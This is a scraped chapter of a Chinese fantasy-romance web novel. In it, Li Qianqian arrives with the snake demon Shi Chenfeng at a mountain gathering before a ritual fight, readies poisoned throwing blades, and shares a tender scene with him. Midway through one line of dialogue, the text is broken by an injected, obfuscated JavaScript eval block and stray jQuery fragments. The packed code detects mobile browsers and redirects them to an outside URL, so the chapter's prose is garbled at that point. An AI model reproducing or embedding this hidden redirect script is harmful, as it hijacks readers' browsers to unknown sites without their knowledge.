54. 前夕

作品:《白玉蛇骨

    五十四、前夕


    行路多日,黎芊芊一人坐在马车里,坐得腰酸背痛,身上的衣服脱了又脱,不过几日,脱得只剩一件单衣。


    这才意识到,马上进入六月,已是小暑时节,而北疆有北海山阻隔,加之寒江雪终年飘落,让身在山里的人完全忘记了外界的季节交替变化。


    她从没有烈日的那扇窗户向外张望,宇文暄依旧驾马随行,不知道累似的。


    见黎芊芊突然探出头来,他回过头笑道:“怎么了,累了吗?今晚一定能到,再坚持一下。”


    黎芊芊摇摇头:“我坐在马车里,怎么会累。”


    宇文暄道:“那芊芊就是想见我了。”


    黎芊芊一阵无语,缩回了脑袋。


    *


    果真如他所说,车队在落日时抵达花都山脚。


    这里早有了很多天南海北聚集过来的人,他们还算来得晚些的一批。


    现在的大家都有说有笑地交谈着,在几日后的山祭,却不知是谁死在谁的刀下。


    黎芊芊跳下马车,活动着筋骨,顺便观望着周遭。


    这里应当是她记忆里最深刻的地方,如今却像是第一次到似的。


    宇文暄走过来,一把揽过她:“来这边。”


    来客基本都住在苗人提供的居所,而宇文暄则是提前包下了几处客栈,以防隔墙有耳。


    来这里的人鱼龙混杂,人妖不分,即便是苗人也很难查清楚谁住在了哪儿。


    宇文暄带她进了一间屋子,随后设置了一道隔音术。


    “芊芊,这几日你就住在此处,旁边两间屋子是我们的人,你不用担心。”


    黎芊芊道:“你住哪里?”


    宇文暄道:“我不一定在哪里住,但我尽量回来;崔彬崔伊早就到了,除了应付他们,我还需要和陶文秀安置那些槐尸。”


    黎芊芊道:“我明白了。”


    看着她认真的神情,宇文暄还是叹了口气:“你在这边,就不要到处乱跑了……”


    黎芊芊答应道:“我明白,性命相连,不为我负责也要为你负责。”


    宇文暄浅笑,正准备走,黎芊芊又叫住他:“师辰风,把你那印记上单向的痛觉打开,我也需要知道你的安危。”


    他犹豫了一下,最终还是凑过去,抚上她的肩膀,一道冰冷却克制的寒流顺着手臂蔓延,骨缝间都透着酸楚。


    交付后,他又叮嘱几句,便匆匆离开了。


    *


    不多久,敲门声响,是隔壁的两位过来打声招呼。


    这两位黎芊芊已十分熟悉,就是曾经在侯府的家丁,现在已全部都是师辰风的人了。


    简单打个照面,黎芊芊关好了门,从随行的行李中噼里啪啦地倒出了数个旋镖。


    旋镖中心被掏空,更适合抓握,一圈银刃泛着锋利的寒光,刃根有一道道细细的凹槽。


    这并非剑器中的血槽,而是为黎芊芊特别打造的“毒槽”。


    她从屋子角落捧起一个人头大的小陶罐,拍开了陶罐边的封泥,这只陶罐是被当做祭祀用酒运过来的,但里面装的哪里是酒。


    她熬制了半个月,才有这么一小坛“寒雾”——中毒者半盏茶之内便可化作一具冰尸。


    毒引正是师辰风的蛇毒。


    她小心翼翼地将这些黑紫色的液体灌进凹槽中,然后一个接一个绑在身上,再用衣摆将它们遮住。


    她在屋中一遍又一遍地练习着出招的动作,前些日子里,魏止郢教她的每一句话此刻又回响在脑海里。


    收拾好东西,她爬到床上,握着怀里冰冷的银光,炽热的情绪也逐渐冷却下来。


    想来这把短刀,从她来到北疆时就一直跟着自己,到底是如何拥有它的,黎芊芊想回忆一下过去,发现什么也想不起来,苦涩地扯了扯嘴角。


    既然想不起之前,那就想想记住的东西。


    还没等她开始煽情地回忆,门被礼貌地敲了四下,“咚咚,咚,咚。”


    有节奏的鼓点仿佛在她心上砰砰作响,她一个激灵,又不敢轻举妄动,轻轻下床走到门边。


    门忽然被人推开了,她下意识向后撤去,撤到桌子后面,手已顺势扣下一片旋镖,勾在手心蓄势待发。


    不过这次,是熟悉的人。


    宇文暄举着双手走进来,门在他身后自动合上:“芊芊如此警惕,我很满意。”


    黎芊芊松了口气,将旋镖绑回去:“你怎么这么快就回来了?”


    他摘下面具,随手放在桌子上,道:“那些杂事崔彬已经安排好了,陶文秀还在路上,我忽然就清闲了许多。”


    黎芊芊道:“其他人都住在哪里?”


    师辰风道:“谁?”


    黎芊芊道:“魏止郢和赵思。”


    师辰风拍了拍身上的灰,虽然他衣物仍旧整洁不苟,坐在了床边:“赵思姑娘在陶先生隔壁住着,小魏子也在她隔壁,他们都在楼下。”


    黎芊芊道:“那你在哪里住?”


    师辰风睁大了眼,似乎很惊讶:“我就在这里住。”


    黎芊芊忽然感到有些不妙:“那……那我在哪里住?”


    师辰风理所当然道:“芊芊和我一起住。”


    黎芊芊:“?”


    见她不解,师辰风解释了一下:“我已经告诉那崔家兄弟,我、也就是宇文暄……心悦于你,若是不住一起,难免生疑……”


    天色将暗,屋里还未点灯,黎芊芊看了看他,没有再说什么。


    她第一次听到有人对她说,他心悦于你。一个被抓到异乡的毫无权力的质子,有哪一处值得喜欢的地方?


    他到底是逢场作戏而已,还是真的有这样的想法?


    回想师辰风纠缠她的种种,若真是做戏,又何必做得这么认真,看起来这么真心实意。


    可原因到底在哪儿,黎芊芊确实想不明白。


    她忽然觉得喉咙有些发干,去桌上倒了杯水喝。


    师辰风起身去点房间里的灯,她润了润嗓子,道:“你为什么要跟他们这样说?”


    “也许有一种可能,”师辰风举着烛台悠悠道,“我在实话实说。”


    他回头看着黎芊芊,这姑娘紧紧抓着杯子,手都攥白了,不知所措地立在原地。


    “抱歉,是我又唐突了,没能提前告诉你,好叫你有个准备……”他也不想为难黎芊芊,“芊芊不必急着作出回应,我只是想把我心中的想法清楚地传达给你,仅此而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352874|182272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已。”


    “至于房间,我待会儿会住在东边这间,芊芊有什么事可以直接来喊我。”


    他走过来,握着烛台,轻轻放到桌上,光影翩翩翕动,他的手映入眼帘,又从眼前抽走。


    师辰风比黎芊芊高很多,只要不抬头,就看不到他的脸。


    他在黎芊芊身边站了一会儿,只轻声道“夜安”,便转身离开。


    还未走出两步,就觉得衣袍一紧。


    “你其实……其实住在这里,就可以。”黎芊芊说完,稍有一瞬踌躇,她一向很清楚自己在做什么,但也许,这次是个例外。


    师辰风回头道:“我可不可以理解为,这就是芊芊的回应?”


    黎芊芊却摇摇头:“我明白你的心意,我看不清的是我自己,我不清楚自己的想法……师辰风,我不知道我到底是怎么想的……”


    师辰风放轻声音:“你不需要清清楚楚地去对待每一件事,芊芊,只要顺遂心意,做什么决定都不是错的。”


    他回握住黎芊芊的手,手掌宽大有力,手心的茧给予她清晰的感受:“我不喜欢这样逼着你去做决定,我只希望你能重新认识我,认识真正的我,再去抉择。”


    黎芊芊回握住他,抬头道:“师辰风,我能相信你吗,我能一直相信你吗?”


    师辰风蹲下身,微微抬头看着她:“我说过,我从不会骗你。”


    黎芊芊在他的眉眼之间流连,这眼睛她见过很多次,却从没像现在一样看得这么认真:“山祭之后,能不能把我忘掉的事再讲给我听?”


    师辰风道:“这件事我也答应过芊芊。”


    黎芊芊轻轻点头:“我等你,我等你把所有事都讲清楚。”


    师辰风听了,略有苦涩地弯起嘴角,眼神还是闪过了一抹失落。


    “芊芊,我是不是再多道歉也补不回来了。”


    黎芊芊破天荒地笑了,伸手轻敲了他脑门一下:“你这蛇妖,你的道歉已经够多,我明白你有难言的苦衷,你只需要把那些事都讲清楚。”停了一下,她转而道,“我若是不拉住你,难道要放肆你去到处杀人?”


    师辰风表情凝在脸上,怔怔地看着她的笑颜,至于她说了什么挖苦的话,已经完全听不到了。


    他多久没再见到黎芊芊笑了。


    大概记忆中唯一一张笑脸,早已埋藏在十几年前的那场大雪里。


    那是一场比寒江雪要冷得多的大雪,彻入骨髓。


    *


    ——“小白?小白?”


    “师辰风?……师辰风?”


    金黄的眼眸忽然有了焦距,师辰风回过神,面前是黎芊芊疑惑的脸。


    暖黄的烛光映在她脸上,好像元宵节的万里天灯,又像每日捣药时院子里不灭的灯笼,还像山坡上被人围攻时突然出现的火把。


    “你怎么忽然走神了?”黎芊芊伸手,抚在他的脸上,眉头轻轻蹙起,犹疑道,“师辰风……你怎么了?”


    他只觉得脸上凉凉的,她的手指不停地在他的脸上来回抹蹭着。


    “芊芊,”他话音几乎落在喉间。


    “嗯?”


    带着近乎祈求的语气,他缓缓道。


    “我可以……吻你么?”